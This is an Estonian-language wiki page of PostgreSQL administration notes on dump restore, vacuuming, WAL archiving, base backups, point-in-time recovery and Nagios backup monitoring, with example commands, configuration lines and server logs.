 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
Protseduuri puhul toimub andmete sisselaadimine uude andmebaasi privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role uuskasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = uuskasutajanimi;&lt;br /&gt;
&lt;br /&gt;
andmete sisselaadimine baasi ülikasutajana (postgres)&lt;br /&gt;
&lt;br /&gt;
 postgres$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi baasinimi-20180922-94.dump&lt;br /&gt;
&lt;br /&gt;
Tundun, et see reassing mõjub ühe create database andmebaasi piires; selles, millega on parasjagu ühendus&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; reassign owned by vanakasutajanimi to uuskautajanimi;&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi vakuumimine===&lt;br /&gt;
&lt;br /&gt;
Töötavat PostgreSQL andmebaasi tuleb regulaarselt vakuumida (ingl. k. vacuum) nt sellistel põhjustel&lt;br /&gt;
&lt;br /&gt;
* päringud muutuvad kiiremaks kuna planner saab kasutada otsuste tegemisel tegelikkusele enam vastavat infot&lt;br /&gt;
* andmebaasi andmekluster võtab failisüsteemis vähem ruumi&lt;br /&gt;
&lt;br /&gt;
Vakuumimiseks on kaks võimalust&lt;br /&gt;
&lt;br /&gt;
* käsitsi vakuumimine - nt crontab abiga käivitatakse vakuumimist sooritav sql lause&lt;br /&gt;
* autovacuum - andmebaas nö sisemiste vahendite abil otsustab kunas ja mida vakuumida&lt;br /&gt;
&lt;br /&gt;
====Käsitsi vakuumimine====&lt;br /&gt;
&lt;br /&gt;
Käsitsi vakuumimine käib põhimõtteliselt öeldes tabeli või baasi kohta (mis tähendab, et tegeldakse baasi kõigi tabelitega)&lt;br /&gt;
&lt;br /&gt;
 $ psql -h localhost portaal -U postgres -c &amp;quot;vacuum verbose analyze&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nt võiks kutsuda crontabist välja sellist skripti kord ööpäevas&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 renice 19 -p $$ 1&amp;gt;/dev/null&lt;br /&gt;
 export PGPASSWORD=parool&lt;br /&gt;
 nyyd=`date +%Y%m%d`&lt;br /&gt;
 export HOSTNAME=10.100.6.88&lt;br /&gt;
 export PGPORT=5432&lt;br /&gt;
 export PGUSER=postgres&lt;br /&gt;
 &lt;br /&gt;
 mkdir /srv/backup/postgresql/vacuum-logs/$nyyd&lt;br /&gt;
 &lt;br /&gt;
 psql_baasid=`/usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT template1 -U $PGUSER -c &amp;quot;\l&amp;quot; \&lt;br /&gt;
 | sed -e '1,3d' | sed -e '$d' | sed -e '$d' | awk {'print $1'}`&lt;br /&gt;
 &lt;br /&gt;
 for i in $psql_baasid&lt;br /&gt;
   do&lt;br /&gt;
     if test &amp;quot;$i&amp;quot; != &amp;quot;template0&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;template1&amp;quot; &amp;amp;&amp;amp; test &amp;quot;$i&amp;quot; != &amp;quot;postgres&amp;quot;; then&lt;br /&gt;
       /usr/local/postgresql/bin/psql -h $HOSTNAME -p$PGPORT $i -U $PGUSER -c &amp;quot;vacuum verbose analyze&amp;quot; \&lt;br /&gt;
         1&amp;gt;/data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt 2&amp;gt;&amp;amp;1;&lt;br /&gt;
         echo &amp;quot;exit code: $?&amp;quot; &amp;gt;&amp;gt; /data/backup/postgresql/vacuum-logs/$nyyd/$HOSTNAME-$nyyd-pg_$i-vacuum-analyze-5432.txt&lt;br /&gt;
     fi&lt;br /&gt;
   done&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb tähele panna, et&lt;br /&gt;
&lt;br /&gt;
* ps auxe esitab vakumeerimise ajal protsesside keskkonnamuutujate väärtused ning kui süsteemis saavad anda käske asjassepuutumatud kasutajad, siis on neil võimalik saada teada see parool&lt;br /&gt;
&lt;br /&gt;
Vakuumimisega seotud ressurssikasutust saab kontrollida /srv/postgresql/postgresql.conf seadistusfaili parameetritega, http://www.postgresql.org/docs/8.3/static/runtime-config-resource.html#RUNTIME-CONFIG-RESOURCE-VACUUM-COST&lt;br /&gt;
&lt;br /&gt;
  # - Cost-Based Vacuum Delay -&lt;br /&gt;
  &lt;br /&gt;
  vacuum_cost_delay = 10                  # 0-1000 milliseconds&lt;br /&gt;
  #vacuum_cost_page_hit = 1               # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_miss = 10             # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_page_dirty = 20            # 0-10000 credits&lt;br /&gt;
  #vacuum_cost_limit = 200                # 1-10000 credits&lt;br /&gt;
&lt;br /&gt;
kus &lt;br /&gt;
&lt;br /&gt;
* vacuum_cost_delay = 10 - vähendab plokkseadme I/O kasutust&lt;br /&gt;
&lt;br /&gt;
Vahel võib vakuumi logist leida huvitavaid teateid, nt selline, siis tuleks postgresql.conf failis max_fsm_pages parameetri väärtust varuga vastavalt suurendada&lt;br /&gt;
&lt;br /&gt;
  NOTICE:  number of page slots needed (1875152) exceeds max_fsm_pages (1400000)&lt;br /&gt;
  HINT:  Consider increasing the configuration parameter &amp;quot;max_fsm_pages&amp;quot; to a value over 1875152.&lt;br /&gt;
&lt;br /&gt;
Kui nö tavaline vacuum ei saavuta soovitud tulemus, sobib proovida vacuum full&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; \c andmebaas&lt;br /&gt;
 sql&amp;gt; vacuum full;&lt;br /&gt;
&lt;br /&gt;
seejuures tuleb arvestada, et&lt;br /&gt;
&lt;br /&gt;
* parem kui vacuum full ajal rakendused baasi ei kasuta&lt;br /&gt;
* vacuum full võtab palju aega ja tekitab tugeva IO koormuse&lt;br /&gt;
* vacuum full kasutab ajutisel sama palju ruumi kui andmebaasi ise (õieti kõige suurem tabel)&lt;br /&gt;
&lt;br /&gt;
====Autovacuum====&lt;br /&gt;
&lt;br /&gt;
Autovacuum võib olla sisselülitatud või väljalülitatud kusjuures autovacuum juhtub igal juhul automaatsel kui mõne tabeli pg_class.relfrozenxid suurus ületab seadistusfailis näidatud väärtused (vaikimisi 200 M).&lt;br /&gt;
&lt;br /&gt;
 autovacuum_freeze_max_age (integer)&lt;br /&gt;
 &lt;br /&gt;
 Specifies the maximum age (in transactions) that a table's pg_class.relfrozenxid field can attain before a VACUUM operation is &lt;br /&gt;
 forced  to prevent transaction ID wraparound within the table. Note that the system will launch autovacuum processes to prevent&lt;br /&gt;
 wraparound even when autovacuum is otherwise disabled. The default is 200 million transactions. This parameter can only be set&lt;br /&gt;
 at server start, but the setting can be reduced for individual tables by entries in pg_autovacuum.&lt;br /&gt;
&lt;br /&gt;
Autovacuum toimimist iseloomustavad tabeli vastavad tulbad&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from pg_stat_user_tables;&lt;br /&gt;
&lt;br /&gt;
===Andmete varundamine ja taaste WAL logide abil===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL abil saab andmeid varundada nn Full, Differential ja Incremental viisil&lt;br /&gt;
&lt;br /&gt;
* full - varundatud andmetest piisab varundamise hetkel töötanud andmebaasi seisu taastamiseks&lt;br /&gt;
* differential - varundatud andmetest ja ning viimasest full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga differential backupi tegemisel varundatakse kõik viimasest fullile järgnenud muudatused&lt;br /&gt;
* incremental - varundatud andmetest, kõigist viimase full backupist alatest tehtud muudest incrementalitest ja full backupist piisab viimase differential varundamise hetkel töötanud andmebaasi seisu taastamiseks; iga incremental backupi teegmisel varundatakse kõik viimati tehtud incrementalile järgnenud muudatused&lt;br /&gt;
&lt;br /&gt;
Et võimalikest crash-situatsioonidest paremini välja tulla, kirjutab PostgreSQL kõik andmebaasi suhtes sooritatud tegevused andmeklustri alamkataloogi pg_xlog spetsiaalses formaadis logifailidesse, nn WAL (ingl. k. write ahead log) logidesse. Töötamise ajal võiks see kataloog välja näha nt selline&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog/ -ls&lt;br /&gt;
  7913473    4 drwx------   3 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/&lt;br /&gt;
  7913480 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:14 /data/postgresql/pg_xlog/000000040000004600000081&lt;br /&gt;
  7913476 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:08 /data/postgresql/pg_xlog/00000004000000460000007E&lt;br /&gt;
  7913478 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:49 /data/postgresql/pg_xlog/00000004000000460000007D&lt;br /&gt;
  7913485 16404 -rw-------   1 postgres postgres 16777216 Apr  5 13:23 /data/postgresql/pg_xlog/00000004000000460000007C&lt;br /&gt;
  7913474    4 drwx------   2 postgres postgres     4096 Apr  5 15:21 /data/postgresql/pg_xlog/archive_status&lt;br /&gt;
  7913487    0 -rw-------   1 postgres postgres        0 Apr  5 00:23 /data/postgresql/pg_xlog/archive_status/00000004.history.done&lt;br /&gt;
  7913475    0 -rw-------   1 postgres postgres        0 Apr  5 06:03 /data/postgresql/pg_xlog/archive_status/000000040000004600000066.00557058.backup.done&lt;br /&gt;
  7913477 16404 -rw-------   1 postgres postgres 16777216 Apr  5 15:34 /data/postgresql/pg_xlog/00000004000000460000007A&lt;br /&gt;
  7913483    4 -rw-------   1 postgres postgres      243 Apr  5 06:03 /data/postgresql/pg_xlog/000000040000004600000066.00557058.backup&lt;br /&gt;
  7913486    4 -rw-------   1 postgres postgres       74 Apr  5 00:23 /data/postgresql/pg_xlog/00000004.history&lt;br /&gt;
  7913488 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:52 /data/postgresql/pg_xlog/000000040000004600000080&lt;br /&gt;
  7913479 16404 -rw-------   1 postgres postgres 16777216 Apr  5 14:30 /data/postgresql/pg_xlog/00000004000000460000007F&lt;br /&gt;
  7913481 16404 -rw-------   1 postgres postgres 16777216 Apr  5 12:57 /data/postgresql/pg_xlog/00000004000000460000007B&lt;br /&gt;
&lt;br /&gt;
Selleks, et vähendada andmekadu, loetakse crash-situatsioonist väljudes viimasele checkpoint'ile otsa andmed WAL logist.&lt;br /&gt;
&lt;br /&gt;
Kuigi tavaliselt pg_xlog kataloogis olevaid faile roteeritakse vastavalt checkpointide juhtumisele, siis on võimalik ka enne roteerimist vanemad WAL logid kopeerida eraldi kataloogi selleks, et neid vajadusel kasutada mõnele mineviku ajahetkele vastava andmebaasi seisu taastamiseks. Seda tegevust nimetatakse WAL logide arhiveerimiseks.&lt;br /&gt;
&lt;br /&gt;
Et WAL logide abil saaks andmebaasi taastada tuleb teha sellised ettevalmistused&lt;br /&gt;
&lt;br /&gt;
* käivitada andmebaas WAL logisid arhiveerivas režiimis&lt;br /&gt;
* kopeerida arhiveeritud WAL logid varundusse (st kuhugi teise andmete varundamisega tegelevasse arvutisse)&lt;br /&gt;
* salvestada andmebaasi nn täiskoopia varundusse&lt;br /&gt;
&lt;br /&gt;
WAL logide abil andmebaasi taastamine toimub sellise järgnevusena&lt;br /&gt;
&lt;br /&gt;
* andmebaasi protsesside töö on lõpetatud&lt;br /&gt;
* varundusest kopeeritakse andmeklustri kataloogi varem salvestatud nn täiskoopia&lt;br /&gt;
* andmebaasile tehakse kättesaadavaks arhiveeritud WAL logid, nt ühendades andmebaasi arvutile külge üle NFS'i&lt;br /&gt;
* andmebaasi käivitatakse WAL logisid peale lugevas režiimis&lt;br /&gt;
&lt;br /&gt;
Lisaks taastamisele sobib see tehnika nt töötava andmebaasi kõrvale teise arvutisse andmebaasi mingi seisu moodustamiseks. Tundub, et wal logide järgnevuse kasutamist ei sega, kui selle logi tekkimise ajal on andmebaas crashinud.&lt;br /&gt;
&lt;br /&gt;
====WAL logide arhiveerimine====&lt;br /&gt;
&lt;br /&gt;
WAL logide arhiveerimise sisselülitamiseks tuleb tuleb näidata seadistusfailis ära kahe parameetri väärtused nt selliselt ning muudatuse kehtestamiseks andmebaas seisata ja käivitada&lt;br /&gt;
&lt;br /&gt;
  archive_mode = on               # allows archiving to be done&lt;br /&gt;
  archive_command = 'test ! -f /data/backup/postgresql/archive-logs/%f &amp;amp;&amp;amp; cp %p /data/backup/postgresql/archive-logs/%f'&lt;br /&gt;
  # archive_timeout = 60&lt;br /&gt;
&lt;br /&gt;
* arhive_mode - lülitab sisse andmebaasi tavalise töö taustal wal logide kirjutamise&lt;br /&gt;
* archive_command - näitab kuhu wal logid kopeerida&lt;br /&gt;
* archive_timeout - näitab millise ajalise intervalliga järmine WAL logi fail tekitatakse; kui parameetrit ei kasutata, siis moodustatakse järgmine andmete kogunemise mahu alusel&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /data/backup/postgresql/archive-logs kataloogi sellised failid&lt;br /&gt;
&lt;br /&gt;
  ...&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 07:23 000000040000004600000067&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:12 000000040000004600000068&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 08:53 000000040000004600000069&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:23 00000004000000460000006A&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 09:53 00000004000000460000006B&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:20 00000004000000460000006C&lt;br /&gt;
  -rw------- 1 postgres postgres 16777216 Apr  5 10:40 00000004000000460000006D&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
====Andmeklastri failisüsteemi täiskoopia salvestamine====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi töö käigus andmeklastri failisüsteemist koopiat tehes tuleb see failisüsteem viia nö kooskõlalisse olekusse. Selleks sobib kasutada sellist järgnevust&lt;br /&gt;
 &lt;br /&gt;
* peatame andmeklustrisse muudatuste kirjutamise&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_start_backup('backup');&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kopeerida andmeklastri sisu varundusarvutisse, nt rsync abil&lt;br /&gt;
* jätkame andmeklastrisse muudatuste kirjutamist&lt;br /&gt;
&lt;br /&gt;
  $ psql -U postgres postgres -c &amp;quot;select pg_stop_backup();&amp;quot;&lt;br /&gt;
&lt;br /&gt;
See ei ole eriti oluline kui kaua süsteem on peatatud muudatuste kirjutamise olekus, praktiliselt ei ole hullu kui ta on seal ka mitu tundi. Alternatiiv on &lt;br /&gt;
&lt;br /&gt;
* öelda pg_start_backup&lt;br /&gt;
* moodustada andmeklastrist LVM snapshot&lt;br /&gt;
* öelda pg_stop_backup&lt;br /&gt;
* ühendada snapshot külge ja kopeerida andmed varundusarvutisse&lt;br /&gt;
* ühendada snapshot lahti ja kustutada snapshot&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni võimalikult kaugele====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada võimalikult kaugele, st võimalikult väikese andmekaoga.&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis nelja asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
* veel arhiveerimata WAL logid kataloogist pg_xlog (kui need on olemas ja võimalusel kopeerida suletud andmebaasi tingimustes)&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta, uuemal ajal võib ka selle kustutada, moodustatakse automaatselt tagasi, v 8.4 ja 9.0 puhul)&lt;br /&gt;
&lt;br /&gt;
  $ find /srv/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Kui on võimaik, kopeerida viimati töötanud andmebaasi failisüsteemist /srv/postgresql/pg_xlog kataloogist failid taastatava arvuti vastavasse kataloogi&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Ajutiselt baasi seadistusfailist WAL logide arhiveerimist välja lülitada ei ole vaja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Käivitamisel tekivad sellised sissekanded andmebaasi logisse&lt;br /&gt;
&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  1 2009-04-04 23:53:33 EEST 0 LOG:  database system was interrupted; last known up at 2009-04-04 22:13:52 EEST&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  2 2009-04-04 23:53:33 EEST 0 LOG:  starting archive recovery&lt;br /&gt;
  2009-04-04 23:53:33 EEST    7318  49d7c8cd.1c96  3 2009-04-04 23:53:33 EEST 0 LOG:  restore_command = 'cp /data/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  4 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;000000010000004600000059&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  5 2009-04-04 23:53:33 EEST 0 LOG:  automatic recovery in progress&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  6 2009-04-04 23:53:33 EEST 0 LOG:  redo starts at 46/59DB60E0&lt;br /&gt;
  2009-04-04 23:53:34 EEST    7318  49d7c8cd.1c96  7 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005A&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  8 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005B&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:35 EEST    7318  49d7c8cd.1c96  9 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005C&amp;quot; from archive&lt;br /&gt;
  2009-04-04 23:53:36 EEST    7318  49d7c8cd.1c96  10 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000001000000460000005D&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  11 2009-04-04 23:53:33 EEST 0 LOG:  record with zero length at 46/5E2CC3A0&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  12 2009-04-04 23:53:33 EEST 0 LOG:  redo done at 46/5E2CC358&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  13 2009-04-04 23:53:33 EEST 0 LOG:  last completed transaction was at log time 2009-04-04 23:47:30.504329+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001000000460000005E' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  14 2009-04-04 23:53:33 EEST 0 LOG:  restored log file &amp;quot;00000002.history&amp;quot; from archive&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000003.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:37 EEST    7318  49d7c8cd.1c96  15 2009-04-04 23:53:33 EEST 0 LOG:  selected new timeline ID: 3&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000001.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-04 23:53:38 EEST    7318  49d7c8cd.1c96  16 2009-04-04 23:53:33 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-04 23:53:52 EEST    7316  49d7c8cd.1c94  2 2009-04-04 23:53:33 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Korrektsel juhutumil hakatakse kasutama logisid alates sellest failis mis on backup_label failis kirjas stop wal location juures.&lt;br /&gt;
&lt;br /&gt;
Ehk on ka logide sisselugemisel huvitav jälgida millised postgres kasutaja protsessid samal aja töötavad&lt;br /&gt;
&lt;br /&gt;
  $ ps aux | grep postgres&lt;br /&gt;
  ...&lt;br /&gt;
  postgres  2080 13.0 12.7 1125532 1073016 ?     Ss   21:48   1:30 postgres: startup process   waiting for 00000001000000460000005B&lt;br /&gt;
  postgres  2468  9.0  0.0   9420   732 ?        D    22:00   0:00 cp /mnt/archive-logs/00000001000000460000005B pg_xlog/RECOVERYXLOG&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kui protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
====Andmebaasi taastamine WAL logide abil kuni ettenähtud ajahetkeni====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi arvutis juhtunud mingi selline sündmus, mille tulemusena tuleb varundusest andmebaas taastada ettenähtud ajahetkeni (ingl. k. PITR - Point in Time Recovery).&lt;br /&gt;
&lt;br /&gt;
Lähtepunktiks on tarvis kolme asja&lt;br /&gt;
&lt;br /&gt;
* Samal arhitektuuril ja versiooniga andmebaasi nn binari install kui see, mida varundati&lt;br /&gt;
* andmeklustri failisüsteemi täiskoopia&lt;br /&gt;
* peale täiskoopia moodustamist kogunenud WAL logid, vähemalt kuni 'select pg_stop_backup();' ütlemiseni&lt;br /&gt;
&lt;br /&gt;
Andmebaasi saab taastada sellise tegevuste järgnevuse abil&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi mootor ei käi&lt;br /&gt;
* Kopeerida andmebaasi andmeklustri failisüsteemi (nt /srv/postgresql) varundamise käigus moodustatud täiskoopia&lt;br /&gt;
* Kustutada /srv/postgresql/pg_xlog kataloogist failid (alamkaataloog archive_status alles jätta)&lt;br /&gt;
&lt;br /&gt;
  $ find /data/postgresql/pg_xlog -type f -exec rm {} \;&lt;br /&gt;
&lt;br /&gt;
* Andmeklustri kataloogis peab olema fail backup_label, millest saab süsteem taasteks kasutatava esimese wal logi faili nime teada, tegevuse käigus nimetatakse see ümber backup_label.old'iks&lt;br /&gt;
* Tekitada nt sellise sisuga fail /srv/postgresql/recovery.conf andmeklusteri kataloogi, fail peab olema postgres kasutaja oma, sest peale protseduuri lõppu nimetatakse see fail ringi recovery.done nimega; restore_command näitab, kus WAL logid asuvad (http://www.postgresql.org/docs/8.3/static/datetime-keywords.html)&lt;br /&gt;
&lt;br /&gt;
  restore_command = 'cp /srv/backup/postgresql/archive-logs/%f %p'&lt;br /&gt;
  recovery_target_time = '2009-04-20 22:39:00 EETDST'&lt;br /&gt;
&lt;br /&gt;
* Paigutada WAL logid kataloogi /srv/backup/postgresql/archive-logs&lt;br /&gt;
* Lülitada ajutiselt baasi seadistusfailis WAL logide arhiveerimine välja&lt;br /&gt;
* Käivitada andmebaas tavapäraselt viisil&lt;br /&gt;
&lt;br /&gt;
Peale logide sisselugemist jääb andmebaas käima nö kasutataval kujul. Kuna protseduuri käigus oli WAL logide arhiveerimine välja lülitatud, tuleks baas siiski korraks kinni panna, logimine sisse lülitada ning uuesti käivitada.&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel tekib selline log, muuhulgas öeldakse kuhu maani taastati&lt;br /&gt;
&lt;br /&gt;
  2009-04-24 22:15:14 EEST    2655  49f20e37.a5f  150 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004C&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:15 EEST    2655  49f20e37.a5f  151 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;000000040000004C0000004D&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  152 2009-04-24 22:08:39 EEST 0 LOG:  recovery stopping before commit of transaction 95521631, time 2009-04-20 22:39:00.001938+03&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  153 2009-04-24 22:08:39 EEST 0 LOG:  redo done at 4C/4D8E6BD0&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  154 2009-04-24 22:08:39 EEST 0 LOG:  last completed transaction was at log time 2009-04-20 22:38:59.779467+03&lt;br /&gt;
  cp: stat `/data/backup/postgresql/archive-logs/00000005.history' ei Ãµnnestu: No such file or directory&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  155 2009-04-24 22:08:39 EEST 0 LOG:  selected new timeline ID: 5&lt;br /&gt;
  2009-04-24 22:15:16 EEST    2655  49f20e37.a5f  156 2009-04-24 22:08:39 EEST 0 LOG:  restored log file &amp;quot;00000004.history&amp;quot; from archive&lt;br /&gt;
  2009-04-24 22:15:17 EEST    2655  49f20e37.a5f  157 2009-04-24 22:08:39 EEST 0 LOG:  archive recovery complete&lt;br /&gt;
  2009-04-24 22:15:46 EEST    2653  49f20e36.a5d  2 2009-04-24 22:08:38 EEST 0 LOG:  database system is ready to accept connections&lt;br /&gt;
&lt;br /&gt;
Ajahetkeni taastamisel peab arvestama, et see aega saab olla peale pg_stop_backup ütlemise ajahetke ja arusaadaval ei saa see olla hilisem kui on kasutada wal logisid.&lt;br /&gt;
&lt;br /&gt;
====Varundamise monitooring Nagiose passiivse kontrolliga====&lt;br /&gt;
&lt;br /&gt;
Varundamise skript lõppu tuleb lisada&lt;br /&gt;
&lt;br /&gt;
 if [ $ec_psql -eq 0 ] &amp;amp;&amp;amp; [ $ec_rsync -eq 0 -o $ec_rsync -eq 24 ]; then&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t0\tbackup korras&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 else&lt;br /&gt;
   echo -e &amp;quot;db.loomaaed\tbackup\t2\tbackup katki&amp;quot; | send_nsca -c /etc/send_nsca.cfg -H mon.loomaaed -p 5667&lt;br /&gt;
 fi&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* juhtumil kui psql või rsync käsud on õnnestunud saadatetakse korras nagiosele signaal&lt;br /&gt;
